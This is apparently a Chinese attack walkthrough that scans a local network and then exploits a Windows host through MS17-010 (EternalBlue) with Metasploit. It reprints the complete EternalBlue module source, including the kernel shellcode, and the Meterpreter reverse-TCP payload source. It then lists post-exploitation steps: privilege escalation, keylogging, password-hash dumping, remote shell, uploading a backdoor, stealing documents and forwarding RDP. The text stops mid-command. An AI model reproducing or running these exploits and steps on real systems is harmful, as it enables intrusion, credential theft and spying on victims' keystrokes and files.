使用nmap扫描主机及开放的端口:nmap -sS 192.168.1.*
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-25 15:06 CST
Nmap scan report for cvr328w (192.168.1.1)
Host is up (0.00049s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
MAC Address: 5C:50:15:7E:A8:A3 (Cisco Systems)
Nmap scan report for 192.168.1.100
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
MAC Address: BC:67:1C:AC:5E:F2 (Cisco Systems)
Nmap scan report for 192.168.1.102
Host is up (0.00095s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
MAC Address: 40:8D:5C:9B:B1:0D (Giga-byte Technology)
Nmap scan report for 192.168.1.105
Host is up (0.00072s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
15000/tcp open hydap
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 40:8D:5C:99:7A:A9 (Giga-byte Technology)
得到开放的端口信息
使用nessus扫描目标主机,确定目标主机存在MS17-010漏洞
使用Metasploit进行攻击
打开终端,输入msfcnsole
然后查找ms17-010的利用代码:search ms17-010
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
然后使用第三个(永恒之蓝)攻击代码植入漏洞:use exploit/windows/smb/ms17_010_eternalblue
ms17_010_eternalblue.rb源代码如下(路径:/usr/share/metasploit-framework/modules/exploits/windows/smb):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'ruby_smb'
require 'ruby_smb/smb1/packet'
require 'windows_error'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
'Description' => %q{
This module is a port of the Equation Group ETERNALBLUE exploit, part of
the FuzzBunch toolkit released by Shadow Brokers.
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
completed in srvnet!SrvNetWskReceiveComplete.
This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again.
The module will attempt to use Anonymous login, by default, to authenticate to perform the
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
those instead.
On some systems, this module may cause system instability and crashes, such as a BSOD or
a reboot. This may be more likely with some payloads.
},
'Author' => [
'Sean Dillon ', # @zerosum0x0
'Dylan Davis ', # @jennamagius
'Equation Group',
'Shadow Brokers',
'thelightcosine' # RubySMB refactor and Fallback Credential mode
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'AKA', 'ETERNALBLUE' ],
[ 'MSB', 'MS17-010' ],
[ 'CVE', '2017-0143' ],
[ 'CVE', '2017-0144' ],
[ 'CVE', '2017-0145' ],
[ 'CVE', '2017-0146' ],
[ 'CVE', '2017-0147' ],
[ 'CVE', '2017-0148' ],
[ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
},
'Privileged' => true,
'Payload' =>
{
'Space' => 2000, # this can be more, needs to be recalculated
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7 and Server 2008 R2 (x64) All Service Packs',
{
'Platform' => 'win',
'Arch' => [ ARCH_X64 ],
'os_patterns' => ['Server 2008 R2', 'Windows 7'],
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
'et_alertable' => 0x4c, # ETHREAD.Alertable offset
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))
register_options(
[
Opt::RPORT(445),
OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
])
end
class EternalBlueError < StandardError
end
def check
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
end
def exploit
begin
for i in 1..datastore['MaxExploitAttempts']
grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
smb_eternalblue(datastore['ProcessName'], grooms)
# we don't need this sleep, and need to find a way to remove it
# problem is session_count won't increment until stage is complete :\
secs = 0
while !session_created? and secs < 30
secs += 1
sleep 1
end
if session_created?
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
break
else
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
end
end
rescue EternalBlueError => e
print_error("#{e.message}")
return false
rescue ::RubySMB::Error::NegotiationFailure
print_error("SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.")
return false
rescue ::RubySMB::Error::UnexpectedStatusCode,
::Errno::ECONNRESET,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused,
::RubySMB::Error::CommunicationError => e
print_error("#{e.class}: #{e.message}")
report_failure
return false
rescue => error
print_error(error.class.to_s)
print_error(error.message)
print_error(error.backtrace.join("\n"))
return false
ensure
# pass
end
end
def smb_eternalblue(process_name, grooms)
begin
# Step 0: pre-calculate what we can
shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
payload_hdr_pkt = make_smb2_payload_headers_packet
payload_body_pkt = make_smb2_payload_body_packet(shellcode)
# Step 1: Connect to IPC$ share
print_status("Connecting to target for exploitation.")
client, tree, sock, os = smb1_anonymous_connect_ipc()
rescue RubySMB::Error::CommunicationError
# Error handler in case SMBv1 disabled on target
raise EternalBlueError, 'Could not make SMBv1 connection'
else
print_good("Connection established for exploitation.")
if verify_target(os)
print_good('Target OS selected valid for OS indicated by SMB reply')
else
print_warning('Target OS selected not valid for OS indicated by SMB reply')
print_warning('Disable VerifyTarget option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Target.'
end
# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
if verify_arch
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
else
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
print_warning('Disable VerifyArch option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
end
print_status("Trying exploit with #{grooms} Groom Allocations.")
# Step 2: Create a large SMB1 buffer
print_status("Sending all but last fragment of exploit packet")
smb1_large_buffer(client, tree, sock)
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
print_status("Starting non-paged pool grooming")
# initialize_groom_threads(ip, port, payload, grooms)
fhs_sock = smb1_free_hole(true)
@groom_socks = []
print_good("Sending SMBv2 buffers")
smb2_grooms(grooms, payload_hdr_pkt)
fhf_sock = smb1_free_hole(false)
print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
fhs_sock.shutdown()
print_status("Sending final SMBv2 buffers.") # 6x
smb2_grooms(6, payload_hdr_pkt) # todo: magic #
fhf_sock.shutdown()
print_status("Sending last fragment of exploit packet!")
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
sock.put(final_exploit_pkt)
print_status("Receiving response from exploit packet")
code, raw = smb1_get_response(sock)
code_str = "0x" + code.to_i.to_s(16).upcase
if code.nil?
print_error("Did not receive a response from exploit packet")
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
else
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
end
# Step 4: Send the payload
print_status("Sending egg to corrupted connection.")
@groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
@groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
print_status("Triggering free of corrupted buffer.")
# tree disconnect
# logoff and x
# note: these aren't necessary, just close the sockets
return true
ensure
abort_sockets
end
end
def verify_target(os)
os = os.gsub("\x00", '') # strip unicode bs
os << "\x00" # but original has a null
ret = true
if datastore['VerifyTarget']
ret = false
# search if its in patterns
target['os_patterns'].each do |pattern|
if os.downcase.include? pattern.downcase
ret = true
break
end
end
end
return ret
end
def verify_arch
return true unless datastore['VerifyArch']
# XXX: This sends a new DCE/RPC packet
arch = dcerpc_getarch
return true if arch && arch == target_arch.first
print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
print_warning("The DCE/RPC service or probe may be blocked") if arch.nil?
false
end
def print_core_buffer(os)
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
count = 0
chunks = os.scan(/.{1,16}/)
chunks.each do | chunk |
hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ")
format = "0x%08x %-47s %-16s" % [(count * 16), hexdump, chunk]
print_status(format)
count += 1
end
end
'''
#
# Increase the default delay by five seconds since some kernel-mode
# payloads may not run immediately.
#
def wfs_delay
super + 5
end
'''
def smb2_grooms(grooms, payload_hdr_pkt)
grooms.times do |groom_id|
gsock = connect(false)
@groom_socks << gsock
gsock.put(payload_hdr_pkt)
end
end
def smb1_anonymous_connect_ipc
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
response_code = client.login
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
end
os = client.peer_native_os
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
return client, tree, sock, os
end
def smb1_large_buffer(client, tree, sock)
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
# send NT Trans
vprint_status("Sending NT Trans Request packet")
client.send_recv(nt_trans_pkt)
# Initial Trans2 request
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
# send all but last packet
for i in 1..14
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
end
vprint_status("Sending malformed Trans2 packets")
sock.put(trans2_pkt_nulled)
begin
sock.get_once
rescue EOFError
vprint_error("No response back from SMB echo request. Continuing anyway...")
end
client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
end
def smb1_free_hole(start)
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
client.negotiate
pkt = ""
if start
vprint_status("Sending start free hole packet.")
pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
else
vprint_status("Sending end free hole packet.")
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
end
client.send_recv(pkt)
sock
end
def smb1_get_response(sock)
raw = nil
# dirty hack since it doesn't always like to reply the first time...
16.times do
raw = sock.get_once
break unless raw.nil? or raw.empty?
end
return nil unless raw
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
code = response.nt_status
return code, raw, response
end
def make_smb2_payload_headers_packet
# don't need a library here, the packet is essentially nonsensical
pkt = ""
pkt << "\x00" # session message
pkt << "\x00\xff\xf7" # size
pkt << "\xfeSMB" # SMB2
pkt << "\x00" * 124
pkt
end
def make_smb2_payload_body_packet(kernel_user_payload)
# precalculated lengths
pkt_max_len = 4204
pkt_setup_len = 497
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
pkt = ""
# padding
pkt << "\x00" * 0x8
pkt << "\x03\x00\x00\x00"
pkt << "\x00" * 0x1c
pkt << "\x03\x00\x00\x00"
pkt << "\x00" * 0x74
# KI_USER_SHARED_DATA addresses
pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
pkt << "\x00" * 0x10
pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
pkt << "\x00" * 0xc4
# payload addreses
pkt << "\x90\xf1\xdf\xff"
pkt << "\x00" * 0x4
pkt << "\xf0\xf1\xdf\xff"
pkt << "\x00" * 0x40
pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x8
pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
pkt << "\x00"
pkt << kernel_user_payload
# fill out the rest, this can be randomly generated
pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
pkt
end
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
timeout = (timeout * 0x10) + 3
timeout_value = "\x35\x00\xd0" + timeout.chr
packet = RubySMB::SMB1::Packet::Trans2::Request.new
packet = set_smb1_headers(packet,tree_id,user_id)
# The packets are labeled as Secondary Requests but are actually structured
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
packet.parameter_block.flags.read("\x00\x10")
packet.parameter_block.timeout.read(timeout_value)
packet.parameter_block.word_count = 9
packet.parameter_block.total_data_count = 4096
packet.parameter_block.parameter_count = 4096
nbss = "\x00\x00\x10\x35"
pkt = packet.to_binary_s
pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
pkt = nbss + pkt
case type
when :eb_trans2_exploit
vprint_status("Making :eb_trans2_exploit packet")
pkt << "\x41" * 2957
pkt << "\x80\x00\xa8\x00" # overflow
pkt << "\x00" * 0x10
pkt << "\xff\xff"
pkt << "\x00" * 0x6
pkt << "\xff\xff"
pkt << "\x00" * 0x16
pkt << "\x00\xf1\xdf\xff" # x86 addresses
pkt << "\x00" * 0x8
pkt << "\x20\xf0\xdf\xff"
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 4
pkt << "\x80\xef\xdf\xff"
pkt << "\x00" * 4
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x10
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 0xc
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x8
pkt << "\x80\x10"
pkt << "\x00" * 0xe
pkt << "\x39"
pkt << "\xbb"
pkt << "\x41" * 965
when :eb_trans2_zero
vprint_status("Making :eb_trans2_zero packet")
pkt << "\x00" * 2055
pkt << "\x83\xf3"
pkt << "\x41" * 2039
else
vprint_status("Making :eb_trans2_buffer packet")
pkt << "\x41" * 4096
end
pkt
end
def make_smb1_nt_trans_packet(tree_id, user_id)
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
# Disable the automatic padding because it will distort
# our values here.
packet.data_block.enable_padding = false
packet = set_smb1_headers(packet,tree_id,user_id)
packet.parameter_block.max_setup_count = 1
packet.parameter_block.total_parameter_count = 30
packet.parameter_block.total_data_count = 66512
packet.parameter_block.max_parameter_count = 30
packet.parameter_block.max_data_count = 0
packet.parameter_block.parameter_count = 30
packet.parameter_block.parameter_offset = 75
packet.parameter_block.data_count = 976
packet.parameter_block.data_offset = 104
packet.parameter_block.function = 0
packet.parameter_block.setup << 0x0000
packet.data_block.byte_count = 1004
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
packet
end
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
packet.smb_header.flags.read("\x18")
packet.smb_header.flags2.read(flags2)
packet.smb_header.pid_high = 65279
packet.smb_header.mid = 64
packet.parameter_block.vc_number.read(vcnum)
packet.parameter_block.max_buffer_size = 4356
packet.parameter_block.max_mpx_count = 10
packet.parameter_block.security_blob_length = 0
packet.data_block.native_os = native_os
packet.data_block.native_lan_man = "\x00" * 17
packet
end
# ring3 = user mode encoded payload
# proc_name = process to inject APC into
# ep_thl_b = EPROCESS.ThreadListHead.Blink offset
# et_alertable = ETHREAD.Alertable offset
# teb_acp = TEB.ActivationContextPointer offset
# et_tle = ETHREAD.ThreadListEntry offset
def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
sc = make_kernel_shellcode
sc << [ring3.length].pack("S<")
sc << ring3
sc
end
def make_kernel_shellcode
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 1019 bytes
#"\xcc"+
"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
"\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
"\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" +
"\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" +
"\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" +
"\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" +
"\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" +
"\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" +
"\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" +
"\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" +
"\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" +
"\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" +
"\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" +
"\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" +
"\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" +
"\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" +
"\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" +
"\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" +
"\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" +
"\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" +
"\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
"\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
"\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
"\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" +
"\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
"\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
"\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
"\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" +
"\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" +
"\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" +
"\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" +
"\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" +
"\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" +
"\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" +
"\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" +
"\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" +
"\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" +
"\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" +
"\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" +
"\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" +
"\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" +
"\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" +
"\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" +
"\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" +
"\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" +
"\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" +
"\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" +
"\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" +
"\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" +
"\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
"\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
"\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
"\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
"\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
"\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
"\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
end
# Sets common SMB1 Header values used by the various
# packets in the exploit.
#
# @return [RubySMB::GenericPacket] the modified version of the packet
def set_smb1_headers(packet,tree_id,user_id)
packet.smb_header.flags2.read("\x07\xc0")
packet.smb_header.tid = tree_id
packet.smb_header.uid = user_id
packet.smb_header.pid_low = 65279
packet.smb_header.mid = 64
packet
end
# Returns the value to be passed to SMB clients for
# the password. If the user has not supplied a password
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the password value
def smb_pass
if datastore['SMBPass'].present?
datastore['SMBPass']
else
''
end
end
# Returns the value to be passed to SMB clients for
# the username. If the user has not supplied a username
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the username value
def smb_user
if datastore['SMBUser'].present?
datastore['SMBUser']
else
''
end
end
end
设置目标主机:set RHOST 192.168.1.109
设置攻击荷载:set payload windows/x64/meterpreter/reverse_tcp
meterpreter_reverse_tcp.rb的源代码如下(路径:/usr/share/metasploit-framework/modules/payloads/singles/windows/x64):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 206403
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline x64',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
register_options([
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
end
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(','),
ext_init: (datastore['EXTINIT'] || ''),
stageless: true
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end
然后查看选项是否设置好:show options
有时候需要设置攻击主机(LHOST),有时候不需要
然后exploit或者run
攻击成功可以输入sysinfo查看受害者系统信息,使用getsystem提升权限,使用keyscan_start,keyscan_dump,keyscan_stop记录键盘,使用hashdump获取密码hash值,输入help可以查看命令,如:输入shell进入对方的命令行,然后执行系统命令。
可以使用upload /root/bakdoor.exe命令上传文件,download C:\word.doc下载文件,search -d D: -f *.doc查找D盘下所
有word文档,cat命令查看文档内容,edit使用vim修改文件或创建文件写入内容,使用portfwd add -l 8080 -p 3389 -r
